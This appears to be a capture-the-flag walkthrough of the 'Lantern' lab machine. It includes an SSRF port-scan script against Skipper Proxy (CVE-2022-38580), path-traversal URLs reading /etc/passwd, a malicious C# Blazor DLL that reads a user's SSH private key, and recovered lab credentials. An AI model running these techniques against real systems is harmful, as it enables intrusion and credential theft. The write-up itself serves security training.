RECON
Nmap
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 80:c9:47:d5:89:f8:50:83:02:5e:fe:53:30:ac:2d:0e (ECDSA)
|_ 256 d4:22:cf:fe:b1:00:cb:eb:6d:dc:b2:b4:64:6b:9d:89 (ED25519)
80/tcp open http Skipper Proxy
|_http-server-header: Skipper Proxy
|_http-title: Did not follow redirect to http://lantern.htb/
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.0 404 Not Found
| Content-Length: 207
| Content-Type: text/html; charset=utf-8
| Date: Mon, 19 Aug 2024 06:08:47 GMT
| Server: Skipper Proxy
| <!doctype html>
| <html lang=en>
| <title>404 Not Found</title>
| <h1>Not Found</h1>
| <p>The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.</p>
| GenericLines, Help, RTSPRequest, SSLSessionReq, TerminalServerCookie:
| HTTP/1.1 400 Bad Request
| Content-Type: text/plain; charset=utf-8
| Connection: close
| Request
| GetRequest:
| HTTP/1.0 302 Found
| Content-Length: 225
| Content-Type: text/html; charset=utf-8
| Date: Mon, 19 Aug 2024 06:08:37 GMT
| Location: http://lantern.htb/
| Server: Skipper Proxy
| <!doctype html>
| <html lang=en>
| <title>Redirecting...</title>
| <h1>Redirecting...</h1>
| <p>You should be redirected automatically to the target URL: <a href="http://lantern.htb/">http://lantern.htb/</a>. If not, click the link.
| HTTPOptions:
| HTTP/1.0 200 OK
| Allow: OPTIONS, HEAD, GET
| Content-Length: 0
| Content-Type: text/html; charset=utf-8
| Date: Mon, 19 Aug 2024 06:08:39 GMT
|_ Server: Skipper Proxy
3000/tcp open ppp?
| fingerprint-strings:
| GetRequest:
| HTTP/1.1 500 Internal Server Error
| Connection: close
| Content-Type: text/plain; charset=utf-8
| Date: Mon, 19 Aug 2024 06:08:42 GMT
| Server: Kestrel
| System.UriFormatException: Invalid URI: The hostname could not be parsed.
| System.Uri.CreateThis(String uri, Boolean dontEscape, UriKind uriKind, UriCreationOptions& creationOptions)
| System.Uri..ctor(String uriString, UriKind uriKind)
| Microsoft.AspNetCore.Components.NavigationManager.set_BaseUri(String value)
| Microsoft.AspNetCore.Components.NavigationManager.Initialize(String baseUri, String uri)
| Microsoft.AspNetCore.Components.Server.Circuits.RemoteNavigationManager.Initialize(String baseUri, String uri)
| Microsoft.AspNetCore.Mvc.ViewFeatures.StaticComponentRenderer.<InitializeStandardComponentServicesAsync>g__InitializeCore|5_0(HttpContext httpContext)
| Microsoft.AspNetCore.Mvc.ViewFeatures.StaticC
| HTTPOptions:
| HTTP/1.1 200 OK
| Content-Length: 0
| Connection: close
| Date: Mon, 19 Aug 2024 06:08:51 GMT
| Server: Kestrel
| Help:
| HTTP/1.1 400 Bad Request
| Content-Length: 0
| Connection: close
| Date: Mon, 19 Aug 2024 06:08:44 GMT
| Server: Kestrel
| RTSPRequest:
| HTTP/1.1 505 HTTP Version Not Supported
| Content-Length: 0
| Connection: close
| Date: Mon, 19 Aug 2024 06:08:52 GMT
| Server: Kestrel
| SSLSessionReq:
| HTTP/1.1 400 Bad Request
| Content-Length: 0
| Connection: close
| Date: Mon, 19 Aug 2024 06:09:10 GMT
| Server: Kestrel
| TerminalServerCookie:
| HTTP/1.1 400 Bad Request
| Content-Length: 0
| Connection: close
| Date: Mon, 19 Aug 2024 06:09:12 GMT
|_ Server: Kestrel
Port 80 | Skipper Proxy
http://lantern.htb returns a website for IT solutions:
Visit http://lantern.htb/vacancies we can see it's recruiting engineers who suits for their needs of application:
And we can upload a resume at the bottom of the page:
Besides, from previous Nmap scan result for port 80, we see "Skipper Proxy" mentioned. The Skipper Proxy is a reverse proxy server and HTTP router built in Go. It's designed to manage traffic in modern web architectures, handling HTTP requests and routing them to the appropriate backend services based on various rules and configurations:
- Traffic Routing: It routes incoming HTTP requests to different backend services or microservices based on rules defined in configuration or dynamically in code.
- Load Balancing: It can distribute incoming traffic across multiple backend servers to balance the load and improve performance.
- Redirection: Skipper can handle HTTP redirects, as shown in the scan results where it redirects to
http://lantern.htb/
, indicating that the proxy is likely configured to forward traffic to this domain. - Security Features: It supports various security mechanisms like SSL/TLS termination, authentication, and access control.
Search a little bit on Google and the 1st result returns an SSRF vulnerability for Skipper Proxy as CVE-2022-38580.
Port 3000 | Blazor
When we visit port 3000, it redirects to http://latern.htb:3000/login:
We can take a look at its source code:
Based on the source code of the login page, it seems like the application is built using Blazor, which we have acknowledged it from another box Blazorized earlier last season. It's a web framework from Microsoft for building interactive web UIs with C#. Blazor applications can run on the server or client-side, and from the comments in the HTML, it appears that this particular application is a server-side Blazor app.
Lantern | Tomas
SSRF | CVE-2022-38580
Skipper prior to version v0.13.236 is vulnerable to server-side request forgery (SSRF). Try CVE-2022-38580 for http://lantern.htb we discover on Port 80.
The testing procedure is simple—add an specific header (X-Skipper-Proxy
) to the http request. We can do it in BurpSuite:
When we try a random port for example 9999, it returns "503 Service Unavailable":
So, we basically verify the SSRF primitive. Use a python script to enumerate common ports (We actually know that Blazor's default port is 5000):
import requests
from pwn import *
bar = log.progress("Enumerate ports for local network via SSRF")
# Target host and headers
target_host = "http://lantern.htb/"
headers = {
"Host": "lantern.htb",
"Cache-Control": "max-age=0",
"Upgrade-Insecure-Requests": "1",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.6167.85 Safari/537.36",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
"Referer": "http://lantern.htb/",
"Accept-Encoding": "gzip, deflate, br",
"Accept-Language": "en-US,en;q=0.9",
"Connection": "close",
}
# List of common ports to enumerate
common_ports = [21, 22, 23, 25, 53, 80, 110, 143, 443, 465, 587, 993, 995, 3306, 3389, 8080, 8443, 5000, 8000]
# Function to check a port via SSRF
def check_port(port):
bar.status(f"Testing port {port} for 127.0.0.1 ...")
headers["X-Skipper-Proxy"] = f"http://127.0.0.1:{port}"
try:
response = requests.get(target_host, headers=headers)
if response.status_code == 200:
print(f"Port {port} is open - Response: {response.status_code}")
elif response.status_code == 302:
print(f"Port {port} redirect - Response: {response.status_code}")
elif response.status_code == 403:
print(f"Port {port} Forbidden - Response: {response.status_code}")
elif response.status_code == 404:
print(f"Port {port} Not Found - Response: {response.status_code}")
elif response.status_code == 500:
print(f"Port {port} Internal Server Error - Response: {response.status_code}")
elif response.status_code == 503:
print(f"Port {port} Internal Server Error - Response: {response.status_code}")
else:
print(f"Port {port} returned status code: {response.status_code}")
except requests.exceptions.RequestException as e:
print(f"Port {port} is closed or not reachable - Error: {e}")
# Enumerate through common ports
for port in common_ports:
check_port(port)
bar.success("Finish!")
We have a result of port 80, 5000, 8000 open for the internal localhost:
As we know, port 5000 is the default port for Blazor framework, and the default path to enumerate that is _framework/blazor.boot.json
, /_framework/blazor.webassembly.js
, as I have explained that in previous writeup for Blazorized. So I am not gonna introduce again here.
Accessing the blazor.boot.json
file, we have a list of internal files exposed:
In the JSON response, except for all those framework-default files, there's only one custom DLL:
"InternaLantern.dll": "sha256-pblWkC\/PhCCSxn1VOi3fajA0xS3mX\/\/RC0XvAE\/n5cI=
Same step as we did in Blazorized box, copy the URL from Burp to browser, download the DLL file:
Use dnSpy to decompile the file and it's code review time (it's basically the source code of the InternaLantern app). First I identified a database name as Data.db
:
Unfortunately, dnSpy did not do her job well this time for the decompilation. I had to then use dotPeek to try for a better version. Finally, we found out some employees' information base64 encoded:
There are 6 internal employees:
employee1.InternalInfo = Encoding.UTF8.GetString(Convert.FromBase64String("SGVhZCBvZiBzYWxlcyBkZXBhcnRtZW50LCBlbWVyZ2VuY3kgY29udGFjdDogKzQ0MTIzNDU2NzgsIGVtYWlsOiBqb2huLnNAZXhhbXBsZS5jb20="));
employee2.InternalInfo = Encoding.UTF8.GetString(Convert.FromBase64String("SFIsIGVtZXJnZW5jeSBjb250YWN0OiArNDQxMjM0NTY3OCwgZW1haWw6IGFubnkudEBleGFtcGxlLmNvbQ=="));
employee3.InternalInfo = Encoding.UTF8.GetString(Convert.FromBase64String("RnVsbFN0YWNrIGRldmVsb3BlciwgZW1lcmdlbmN5IGNvbnRhY3Q6ICs0NDEyMzQ1Njc4LCBlbWFpbDogY2F0aGVyaW5lLnJAZXhhbXBsZS5jb20="));
employee4.InternalInfo = Encoding.UTF8.GetString(Convert.FromBase64String("UFIsIGVtZXJnZW5jeSBjb250YWN0OiArNDQxMjM0NTY3OCwgZW1haWw6IGxhcmEuc0BleGFtcGxlLmNvbQ=="));
employee5.InternalInfo = Encoding.UTF8.GetString(Convert.FromBase64String("SnVuaW9yIC5ORVQgZGV2ZWxvcGVyLCBlbWVyZ2VuY3kgY29udGFjdDogKzQ0MTIzNDU2NzgsIGVtYWlsOiBsaWxhLnNAZXhhbXBsZS5jb20="));
employee6.InternalInfo = Encoding.UTF8.GetString(Convert.FromBase64String("U3lzdGVtIGFkbWluaXN0cmF0b3IsIEZpcnN0IGRheTogMjEvMS8yMDI0LCBJbml0aWFsIGNyZWRlbnRpYWxzIGFkbWluOkFKYkZBX1FAOTI1cDlhcCMyMi4gQXNrIHRvIGNoYW5nZSBhZnRlciBmaXJzdCBsb2dpbiE="));
Decode the encoded strings:
- Head of sales department, emergency contact: +4412345678, email: [email protected]
- HR, emergency contact: +4412345678, email: [email protected]
- FullStack developer, emergency contact: +4412345678, email: [email protected]
- PR, emergency contact: +4412345678, email: [email protected]
- Junior .NET developer, emergency contact: +4412345678, email: [email protected]
- System administrator, First day: 21/1/2024, Initial credentials admin:AJbFA_Q@925p9ap#22. Ask to change after first login!
Bang, we have the credentials for the internaLatern page, which is http://lantern.htb:3000. Log on the admin panel with it and we have access to the admin dashboard as T.Duarte, who is monitoring the network traffic:
File Disclosure
We can upload new customer avatar to a specific path:
We can access the file systems under web root:
Including the source code app.py
:
from flask import Flask, render_template, send_file, request, redirect, json
from werkzeug.utils import secure_filename
import os
app=Flask("__name__")
@app.route('/')
def index():
if request.headers['Host'] != "lantern.htb":
return redirect("http://lantern.htb/", code=302)
return render_template("index.html")
@app.route('/vacancies')
def vacancies():
return render_template('vacancies.html')
@app.route('/submit', methods=['POST'])
def save_vacancy():
name = request.form.get('name')
email = request.form.get('email')
vacancy = request.form.get('vacancy', default='Middle Frontend Developer')
if 'resume' in request.files:
try:
file = request.files['resume']
resume_name = file.filename
if resume_name.endswith('.pdf') or resume_name == '':
filename = secure_filename(f"resume-{name}-{vacancy}-latern.pdf")
upload_folder = os.path.join(os.getcwd(), 'uploads')
destination = '/'.join([upload_folder, filename])
file.save(destination)
else:
return "Only PDF files allowed!"
except:
return "Something went wrong!"
return "Thank you! We will conact you very soon!"
@app.route('/PrivacyAndPolicy')
def sendPolicyAgreement():
lang = request.args.get('lang')
file_ext = request.args.get('ext')
try:
return send_file(f'/var/www/sites/localisation/{lang}.{file_ext}')
except:
return send_file(f'/var/www/sites/localisation/default/policy.pdf', 'application/pdf')
if __name__ == '__main__':
app.run(host='127.0.0.1', port=8000)
There're quite some vulnerabilities we can identify in this code snippet. But we can focus on the File Disclosure Vulnerability discovered from the /PrivacyAndPolicy
route:
return send_file(f'/var/www/sites/localisation/{lang}.{file_ext}')
In the /PrivacyAndPolicy
route, it allows users to download files based on the lang
and file_ext
parameters. If these parameters are not properly sanitized, it could lead to path traversal attacks, allowing an attacker to access sensitive files outside the intended directory.
Therefore, if we could craft a URL like /PrivacyAndPolicy?lang=../../../../etc/resolv&ext=conf
(the file name must be concat with two parameters for {lang}.{ext}
) to access the /etc/resolv.conf
file or other sensitive files on the server:
I would like to access /etc/passwd
to know existed users, but the symbol .
separates the filename and the extension. Thus, we can simply use a small trick to bypass this restriction, that visiting URL http://lantern.htb/PrivacyAndPolicy?lang=../../../../&ext=./etc/passwd would construct a perfect path and solve the problem:
We can identify a normal user tomas
.
RCE Primitive
For http://lantern.htb:3000, we can input an arbitrary value to test the "Choose module" endpoint:
The error seems telling us this endpoint is able to load/execute a DLL assembly under the path /opt/component.axura.dll
—when we provide the filename as axura
.
Therefore, if we can upload a malicious DLL to /opt/components/axura.dll
, we can have an RCE attack.
RCE | Traversing Blazor
The "Upload content" option in http://lantern.htb:3000 admin dashboard also suffers from path traversing. We can verify that by uploading an empty DLL file to our target path /opt/components
.
It means we can try to modify the file name to ../../../../opt/components/axura.dll
, using tools like BurpSuite intercepting the upload requests. But we are having an unusual situation for the Blazor Assembly application, which we hard to read the request body consisting with binaries:
When we want to test with Blazor, all the messages transmitted by the application included seemingly random binary characters, that we have limited readability and the inability to tamper with data. So we can use a MessagePack extension in BurpSuite to read the serialized body content. And we can use the extension called Blazor Traffic Processor (BTP) introduced in this article to capture the BlazorPack message in BurpSuite.
MessagePack is another serialization format used to package structured data, like JSON, XML, etc. While Blazor server uses MessagePack, the traffic is specifically formatted according to Blazor’s own Hub Protocol specification. Therefore, generic MessagePack parsers like the Burp Suite MessagePack extension available from the BApp Store will not work with Blazor traffic.
Therefore, we can start to intercept those requests send to the Blazor server when we upload a file. Right-click the intercepted request and send it to the pre-downloaded BTP extension:
In the BTP tab, deserialize the body content, then we can simply modify the file name adding multiple ../
's and the target path /opt/componenets
':
Copy the modified content and select "JSON -> Blazor" option and serialize it into BlazorPack:
Now we can paste the binary to our intercepted request. Once we upload successfully, we can simply type axura
the filename in the "Choose module" option to verify the vulnerability:
Although the DLL file is invalid, but we know it's uploaded successfully and ready to be executed.
On the server side, we apparently have some higher privileged user (tomas) when we interact with port 3000, than we did from the path traversing on port 80 (www-data). Because we can access sensitive files under
/opt/components
here and we cannot make it happen with the path traversing primitive.
Let's go get the RCE attack now. There're many different ways we can get a reverse shell, once we have the RCE primitive verified. As we know there's a tomas
user from the path traversing last part, we can try to leak its SSH private key with the following C# code:
using Microsoft.AspNetCore.Components;
using Microsoft.AspNetCore.Components.Rendering;
using System.IO;
namespace xpl
{
public class Component : ComponentBase
{
protected override void BuildRenderTree(RenderTreeBuilder builder)
{
base.BuildRenderTree(builder);
// Read private SSH key of user tomas
string file = File.ReadAllText("/home/tomas/.ssh/id_rsa");
builder.AddContent(0, file);
}
}
}
The namespace above must match the DLL filename for strict C# compilation policy. Then compile the file using dotnet
on Linux system (for we will have a Linux executable DLL):
mkdir xpl_project && \
cd xpl_project && \
dotnet new classlib -n xpl
This will create a new class library project in a folder named xpl
. Get inside it and paste the malicious C# code into Class1.cs
:
Add the Package we need for the script:
dotnet add package Microsoft.AspNetCore.Components --version 6.0.0 && \
dotnet add package Microsoft.AspNetCore.Components.Web --version 6.0.0
And finally build it:
dotnet build -c release
We will find the xpl.dll
file under path /xpl_project/xpl/bin/release/net6.0
.
Now use the same method we did when verifying the RCE primitive, upload the xpl.dll
and trigger it via the "Choose module" option, we are able to print the id_rsa
for user tomas:
Modify the permission to 600, we can use it the remote log on the machine as user tomas, and compromise the user flag:
Lantern | Root
Check an email for tomas, asking him to check for a specific shell script under /root
folder:
The file /root/automation.sh
is not readable but we can check SUDO privilege, which may relate to this script:
Procmon is usually associated with the Windows tool Process Monitor, but in the context of Linux, it could refer to a different utility. On some Linux systems, procmon
can be a custom or less common tool used for monitoring processes. In our case, it seems allowing us to trace a file, as root of course:
-p/--pids
: This option allows us to specify a list of Process IDs (PIDs) that we want to monitor. We can provide multiple PIDs by separating them with commas.-e/--events
: With this option, we can specify which system calls or events you want to monitor. Like the PIDs, these events can also be provided as a comma-separated list.-c/--collect [FILEPATH]
: This option startsprocmon
in headless mode, meaning it will run without a user interface and will collect data directly into a specified file. This is useful for automated or script-based monitoring.-f/--file FILEPATH
: This option allows us to open an existingprocmon
trace file. It’s useful when we want to analyze previously collected data rather than monitoring processes in real time.
So we can look into current running processes. Run command ps -aef
to display information about the currently running processes, including all processes for all users, not just the current user with a "full" format listing:
We found something interesting here. User root is somehow editing the suspicious file /root/automation.sh
. Once we are able to write some malicious content into it, we may compromise the root user.
Mark down the PID (quickly, the PID is changing according to my observation) of the suspicious process, and test the SUDO command:
sudo procmon -p 16771 -e write
Wait for a few minutes, long enough for the program to write sufficient data, Press F6 to export logs and F9 to exit:
Copy the exported DB file and we can identify that it's in SQLite format:
scp -i id_rsa [email protected]:/home/tomas/procmon_2024-08-21_12:46:46.db lantern.db
Look into the DB file, the ebpf
table records something interesting:
We can check the column names first to understand what it's about with query PRAGMA table_info(ebpf);
:
Compare the data and the column names, we can the the Procmon is telling us that the Glibc had been calling the write
syscall for the process.
ssize_t write(int fd, const void *buf, size_t count);
If we press F8 during the process running we can see the runtime details:
For the column resultcode
typically represents the return value of a system call or event. It possibly indicates (I guess) the outcome of the operation. Normally 0
means success that the system call completed without errors. While Error codes like -1
for a generic error). And a positive resultcode
might indicate a special type of success that includes additional information (e.g., a file descriptor number, bytes written, etc.).
Most importantly, there's the last column arguments
which we can not see in the screen output! Because they are BLOB (binary object), which can be some interesting data it's recording:
Thus, we can look up those BLOB data to see if there's something interesting for what the root user keeps writing. Use .output output.txt
to output specific data following by the next SQLite command:
SELECT hex(substr(arguments, 9, resultcode))
FROM ebpf
WHERE resultcode > 0
ORDER BY timestamp;
The query is extracting and converting data from the arguments
column in the ebpf
table, specifically targeting rows where resultcode
is greater than 0.
The query is extracting and converting data from the
arguments
column in theebpf
table, specifically targeting rows whereresultcode
is greater than 0.
The data is extracted starting from the 9th character of the arguments
column, and the length of the extracted substring is determined by the value in the resultcode
column.
The BLOB records the complete write syscall with its metadata like
fd=3,buf=0xdeadbeef, ...
. Thus here we just extract its buffer data which is about what the root user had written.
The extracted substring is then converted to a hexadecimal format.
Now we have the output.txt
containing the hexadecimal format of the buffer data. Input the file to Cyberchef and unhex it with the "From hex" recipe:
The output indicates that the hex values represent non-printable characters (such as control characters), which are displayed as special symbols above.
But we can use the cat
command to show the output (stdout
) from the screen. Download the converted download.dat
from Cyberchef, we can then review it the terminal:
The generated DB file must capture enough events by the Procmon to show complete content.
Well, the root user has shaky hands. We guess the password is duplicatedly depicted to us, that it should be Q3Eddtd▒▒▒▒▒▒
. Use the password and su root
from tomas shell, we compromise root:
Comments | NOTHING